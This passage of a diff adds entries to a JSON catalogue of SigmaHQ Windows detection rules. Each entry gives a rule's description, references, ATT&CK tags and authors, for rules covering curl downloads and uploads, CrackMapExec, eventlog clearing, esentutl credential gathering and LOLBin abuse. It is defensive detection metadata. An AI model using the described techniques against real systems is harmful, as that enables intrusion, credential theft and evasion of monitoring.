"https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.collection", + "attack.exfiltration", + "attack.t1039", + "attack.t1048", + "attack.t1021.002" + ], + "creation_date": "2019/12/30", + "filename": "proc_creation_win_susp_copy_lateral_movement.yml", + "author": "Florian Roth, oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Administrative scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious copy operation that tries to copy a program from a system (System32 or SysWOW64) directory to another on disk.\nOften used to move LOLBINs such as 'certutil' or 'desktopimgdownldr' to a different location with a different name in order to bypass detections based on locations\n", + "uuid": "fff9d2b7-e11c-4a69-93d3-40ef66189767", + "value": "Suspicious Copy From or To System32", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120", + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2020/07/03", + "filename": "proc_creation_win_susp_copy_system32.yml", + "author": "Florian Roth, Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (update)", + "level": "medium", + "falsepositive": [ + "Depend on scripts and administrative tools used in the monitored environment (For example an admin scripts like https://www.itexperience.net/sccm-batch-files-and-32-bits-processes-on-64-bits-os/)", + "When cmd.exe and xcopy.exe are called directly", + "When the command contains the keywords but not in the correct order" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command lines used in Covenant luanchers", + "uuid": "c260b6db-48ba-4b4a-a76f-2f67644e99d2", + "value": "Covenant Launcher Indicators", + "meta": { + "refs": [ + "https://posts.specterops.io/covenant-v0-5-eee0507b85ba", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_covenant.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1059.001", + "attack.t1564.003" + ], + "creation_date": "2020/06/04", + "filename": "proc_creation_win_susp_covenant.yml", + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect various execution methods of the CrackMapExec pentesting framework", + "uuid": "058f4380-962d-40a5-afce-50207d36d7e2", + "value": "CrackMapExec Command Execution", + "meta": { + "refs": [ + "https://github.com/byt3bl33d3r/CrackMapExec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.t1053", + "attack.t1059.003", + "attack.t1059.001", + "attack.s0106" + ], + "creation_date": "2020/05/22", + "filename": "proc_creation_win_susp_crackmapexec_execution.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.", + "uuid": "42a993dd-bb3e-48c8-b372-4d6684c4106c", + "value": "CrackMapExec Command Line Flags", + "meta": { + "refs": [ + "https://mpgn.gitbook.io/crackmapexec/smb-protocol/authentication/checking-credentials-local", + "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", + "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=mssql-mimikatz", + "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-pe_inject", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_flags.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/25", + "filename": "proc_creation_win_susp_crackmapexec_flags.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule.", + "uuid": "6f8b3439-a203-45dc-a88b-abf57ea15ccf", + "value": "CrackMapExec PowerShell Obfuscation", + "meta": { + "refs": [ + "https://github.com/byt3bl33d3r/CrackMapExec", + "https://github.com/byt3bl33d3r/CrackMapExec/blob/0a49f75347b625e81ee6aa8c33d3970b5515ea9e/cme/helpers/powershell.py#L242", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_powershell_obfuscation.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027.005" + ], + "creation_date": "2020/05/22", + "filename": "proc_creation_win_susp_crackmapexec_powershell_obfuscation.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious parent of csc.exe, which could by a sign of payload delivery", + "uuid": "b730a276-6b63-41b8-bcf8-55930c8fc6ee", + "value": "Suspicious Parent of Csc.exe", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1094924091256176641", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csc.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007", + "attack.defense_evasion", + "attack.t1218.005", + "attack.t1027.004" + ], + "creation_date": "2019/02/11", + "filename": "proc_creation_win_susp_csc.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse Visual Basic (VB) for execution", + "uuid": "23250293-eed5-4c39-b57a-841c8933a57d", + "value": "Cscript Visual Basic Script Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.005/T1059.005.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cscript_vbs.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005" + ], + "creation_date": "2022/01/02", + "filename": "proc_creation_win_susp_cscript_vbs.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious execution of csc.exe, which uses a source in a suspicious folder (e.g. AppData)", + "uuid": "dcaa3f04-70c3-427a-80b4-b870d73c94c4", + "value": "Suspicious Csc.exe Source File Folder", + "meta": { + "refs": [ + "https://securityboulevard.com/2019/08/agent-tesla-evading-edr-by-removing-api-hooks/", + "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", + "https://app.any.run/tasks/c6993447-d1d8-414e-b856-675325e5aa09/", + "https://twitter.com/gN3mes1s/status/1206874118282448897", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csc_folder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.004" + ], + "creation_date": "2019/08/24", + "filename": "proc_creation_win_susp_csc_folder.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate software from program files - https://twitter.com/gN3mes1s/status/1206874118282448897", + "Legitimate Microsoft software - https://twitter.com/gabriele_pippi/status/1206907900268072962" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the lesser known remote execution tool named CsExec (a PsExec alternative)", + "uuid": "d08a2711-ee8b-4323-bdec-b7d85e892b31", + "value": "CsExec Remote Execution Tool Usage", + "meta": { + "refs": [ + "https://github.com/malcomvetter/CSExec", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csexec.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001", + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2022/08/22", + "filename": "proc_creation_win_susp_csexec.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft \u201cRoslyn\u201d Community Technology Preview was named 'rcsi.exe'", + "uuid": "40b95d31-1afc-469e-8d34-9a3a667d058e", + "value": "Suspicious Csi.exe Usage", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Rcsi/", + "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", + "https://twitter.com/Z3Jpa29z/status/1317545798981324801", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csi.yml" + ], + "tags": [ + "attack.execution", + "attack.t1072", + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/17", + "filename": "proc_creation_win_susp_csi.yml", + "author": "Konstantin Grishchenko, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate usage by software developers" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious curl process start on Windows and outputs the requested document to a local file", + "uuid": "e218595b-bbe7-4ee5-8a96-f32a24ad3468", + "value": "Suspicious Curl Usage on Windows", + "meta": { + "refs": [ + "https://twitter.com/max_mal_/status/1542461200797163522", + "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464", + "https://github.com/pr0xylife/Qakbot/blob/4f0795d79dabee5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt", + "https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2020/07/03", + "filename": "proc_creation_win_susp_curl_download.yml", + "author": "Florian Roth, Nasreddine Bencherchali (updated)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious curl process start the adds a file to a web request", + "uuid": "00bca14a-df4e-4649-9054-3f2aa676bc04", + "value": "Suspicious Curl File Upload", + "meta": { + "refs": [ + "https://twitter.com/d1r4c/status/1279042657508081664", + "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", + "https://curl.se/docs/manpage.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_fileupload.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567", + "attack.t1105" + ], + "creation_date": "2020/07/03", + "filename": "proc_creation_win_susp_curl_fileupload.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Scripts created by developers and admins" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later.", + "uuid": "21dd6d38-2b18-4453-9404-a0fe4a0cc288", + "value": "Curl Start Combination", + "meta": { + "refs": [ + "https://medium.com/@reegun/curl-exe-is-the-new-rundll32-exe-lolbin-3f79c5f35983", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_start_combo.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218", + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2020/01/13", + "filename": "proc_creation_win_susp_curl_start_combo.yml", + "author": "Sreeman, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Administrative scripts (installers)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious curl process start on Windows with set useragent options", + "uuid": "3286d37a-00fd-41c2-a624-a672dcd34e60", + "value": "Suspicious Curl Change User Agents", + "meta": { + "refs": [ + "https://curl.se/docs/manpage.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#atomic-test-2---malicious-user-agents---cmd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_useragent.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2022/01/23", + "filename": "proc_creation_win_susp_curl_useragent.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Scripts created by developers and admins", + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process injection using ZOHO's dctask64.exe", + "uuid": "6345b048-8441-43a7-9bed-541133633d7a", + "value": "ZOHO Dctask64 Process Injection", + "meta": { + "refs": [ + "https://twitter.com/gN3mes1s/status/1222088214581825540", + "https://twitter.com/gN3mes1s/status/1222095963789111296", + "https://twitter.com/gN3mes1s/status/1222095371175911424", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dctask64_proc_inject.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055.001" + ], + "creation_date": "2020/01/28", + "filename": "proc_creation_win_susp_dctask64_proc_inject.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown yet" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command line to remove and 'exe' or 'dll'", + "uuid": "204b17ae-4007-471b-917b-b917b315c5db", + "value": "Suspicious Del in CommandLine", + "meta": { + "refs": [ + "https://www.joesandbox.com/analysis/509330/0/html#1044F3BDBE3BB6F734E357235F4D5898582D", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_del.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2021/12/02", + "filename": "proc_creation_win_susp_del.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet", + "uuid": "bb58aa4a-b80b-415a-a2c0-2f65a4c81009", + "value": "Suspicious Desktopimgdownldr Command", + "meta": { + "refs": [ + "https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/", + "https://twitter.com/SBousseaden/status/1278977301745741825", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_desktopimgdownldr.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2020/07/03", + "filename": "proc_creation_win_susp_desktopimgdownldr.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a certain command line flag combination used by devinit.exe lolbin to download arbitrary MSI packages on a Windows system", + "uuid": "90d50722-0483-4065-8e35-57efaadd354d", + "value": "DevInit Lolbin Download", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1460815932402679809", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_devinit_lolbin.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/01/11", + "filename": "proc_creation_win_susp_devinit_lolbin.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The Devtoolslauncher.exe executes other binary", + "uuid": "cc268ac1-42d9-40fd-9ed3-8c4e1a5b87e6", + "value": "Devtoolslauncher.exe Executes Specified Binary", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devtoolslauncher/", + "https://twitter.com/_felamos/status/1179811992841797632", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_devtoolslauncher.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2019/10/12", + "filename": "proc_creation_win_susp_devtoolslauncher.yml", + "author": "Beyu Denis, oscd.community (rule), @_felamos (idea)", + "level": "high", + "falsepositive": [ + "Legitimate use of devtoolslauncher.exe by legitimate user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the \"dir\" command that's part of windows batch/cmd to collect information about directories", + "uuid": "7c9340a9-e2ee-4e43-94c5-c54ebbea1006", + "value": "Suspicious DIR Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dir.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1217" + ], + "creation_date": "2021/12/13", + "filename": "proc_creation_win_susp_dir.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.", + "uuid": "24357373-078f-44ed-9ac4-6d334a668a11", + "value": "Direct Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_direct_asep_reg_keys_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "proc_creation_win_susp_direct_asep_reg_keys_modification.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.", + "Legitimate administrator sets up autorun keys for legitimate reasons.", + "Discord" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects command that is used to disable or delete Windows eventlog via logman Windows utility", + "uuid": "cd1f961e-0b96-436b-b7c6-38da4583ec00", + "value": "Disable or Delete Windows Eventlog", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1359039665232306183?s=21", + "https://ss64.com/nt/logman.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_eventlog.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.t1070.001" + ], + "creation_date": "2021/02/11", + "filename": "proc_creation_win_susp_disable_eventlog.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate deactivation by administrative staff", + "Installer tools that disable services, e.g. before log collection agent installation" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features", + "uuid": "fb50eb7a-5ab1-43ae-bcc9-091818cb8424", + "value": "Disabled IE Security Features", + "meta": { + "refs": [ + "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_ie_features.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/06/19", + "filename": "proc_creation_win_susp_disable_ie_features.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown, maybe some security software installer disables these features temporarily" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects commands that indicate a Raccine removal from an end system. Raccine is a free ransomware protection tool.", + "uuid": "a31eeaed-3fd5-478e-a8ba-e62c6b3f9ecc", + "value": "Raccine Uninstall", + "meta": { + "refs": [ + "https://github.com/Neo23x0/Raccine", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_raccine.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/01/21", + "filename": "proc_creation_win_susp_disable_raccine.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate deinstallation by administrative staff" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects using Diskshadow.exe to execute arbitrary code in text file", + "uuid": "0c2f8629-7129-4a8a-9897-7e0768f13ff2", + "value": "Execution via Diskshadow.exe", + "meta": { + "refs": [ + "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_diskshadow.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_win_susp_diskshadow.yml", + "author": "Ivan Dyachkov, oscd.community", + "level": "high", + "falsepositive": [ + "False postitve can be if administrators use diskshadow tool in their infrastructure as a main backup tool with scripts." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Ditsnap tool. Seems to be a tool for ransomware groups.", + "uuid": "d3b70aad-097e-409c-9df2-450f80dc476b", + "value": "DIT Snapshot Viewer Use", + "meta": { + "refs": [ + "https://thedfirreport.com/2020/06/21/snatch-ransomware/", + "https://github.com/yosqueoy/ditsnap", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ditsnap.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ], + "creation_date": "2020/07/04", + "filename": "proc_creation_win_susp_ditsnap.yml", + "author": "Furkan Caliskan (@caliskanfurkan_)", + "level": "high", + "falsepositive": [ + "Legitimate admin usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a \"dllhost\" spawning with no commandline arguments which is a very rare thing to happen and could indicate process injection activity or malware mimicking similar system processes", + "uuid": "e7888eb1-13b0-4616-bd99-4bc0c2b054b9", + "value": "Dllhost Process With No CommandLine", + "meta": { + "refs": [ + "https://redcanary.com/blog/child-processes/", + "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dllhost_no_cli.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055" + ], + "creation_date": "2022/06/27", + "filename": "proc_creation_win_susp_dllhost_no_cli.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execute C# code located in the consoleapp folder", + "uuid": "81ebd28b-9607-4478-bf06-974ed9d53ed7", + "value": "Application Whitelisting Bypass via Dnx.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", + "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dnx.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.t1027.004" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_susp_dnx.yml", + "author": "Beyu Denis, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate use of dnx.exe by legitimate user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns", + "uuid": "1cdd9a09-06c9-4769-99ff-626e2b3991b8", + "value": "Suspicious Double Extension", + "meta": { + "refs": [ + "https://blu3-team.blogspot.com/2019/06/misleading-extensions-xlsexe-docexe.html", + "https://twitter.com/blackorbird/status/1140519090961825792", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2019/06/26", + "filename": "proc_creation_win_susp_double_extension.yml", + "author": "Florian Roth (rule), @blu3_team (idea)", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents", + "uuid": "00d49ed5-4491-4271-a8db-650a4ef6f8c1", + "value": "Suspicious Download from Office Domain", + "meta": { + "refs": [ + "https://twitter.com/an0n_r0/status/1474698356635193346?s=12", + "https://twitter.com/mrd0x/status/1475085452784844803?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_download_office_domain.yml" + ], + "tags": "No established tags", + "creation_date": "2021/12/27", + "filename": "proc_creation_win_susp_download_office_domain.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Scripts or tools that download attachments from these domains (OneNote, Outlook 365)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1", + "uuid": "7124aebe-4cd7-4ccb-8df0-6d6b93c96795", + "value": "Suspicious Kernel Dump Using Dtrace", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1474899714290208777?s=12", + "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/dtrace", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dtrace_kernel_dump.yml" + ], + "tags": "No established tags", + "creation_date": "2021/12/28", + "filename": "proc_creation_win_susp_dtrace_kernel_dump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious child processes of electron apps (teams, discord, slack...).\nThis could be a potential sign of \".asar\" file tampering (See reference section for more information)\n", + "uuid": "f26eb764-fd89-464b-85e2-dc4a8e6e77b8", + "value": "Suspicious Electron Application Child Processes", + "meta": { + "refs": [ + "https://taggart-tech.com/quasar-electron/", + "https://github.com/mttaggart/quasar", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_electron_app_children.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/10/21", + "filename": "proc_creation_win_susp_electron_app_children.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detecting Emotet DLL loading by looking for rundll32.exe processes with command lines ending in ,RunDLL or ,Control_RunDLL", + "uuid": "54e57ce3-0672-46eb-a402-2c0948d5e3e9", + "value": "Emotet RunDLL32 Process Creation", + "meta": { + "refs": [ + "https://paste.cryptolaemus.com/emotet/2020/12/22/emotet-malware-IoCs_12-22-20.html", + "https://cyber.wtf/2021/11/15/guess-whos-back/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_emotet_rundll32_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2020/12/25", + "filename": "proc_creation_win_susp_emotet_rundll32_execution.yml", + "author": "FPT.EagleEye", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab.", + "uuid": "7df1713a-1a5b-4a4b-a071-dc83b144a101", + "value": "Esentutl Gather Credentials", + "meta": { + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816", + "https://attack.mitre.org/software/S0404/", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_esentutl_params.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1003.003" + ], + "creation_date": "2021/08/06", + "filename": "proc_creation_win_susp_esentutl_params.yml", + "author": "sam0x90", + "level": "medium", + "falsepositive": [ + "To be determined" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects clearing or configuration of eventlogs using wevtutil, powershell and wmic. Might be used by ransomwares during the attack (seen by NotPetya and others).", + "uuid": "cc36992a-4671-4f21-a91d-6c2b72a2edf5", + "value": "Suspicious Eventlog Clear or Configuration Using Wevtutil", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", + 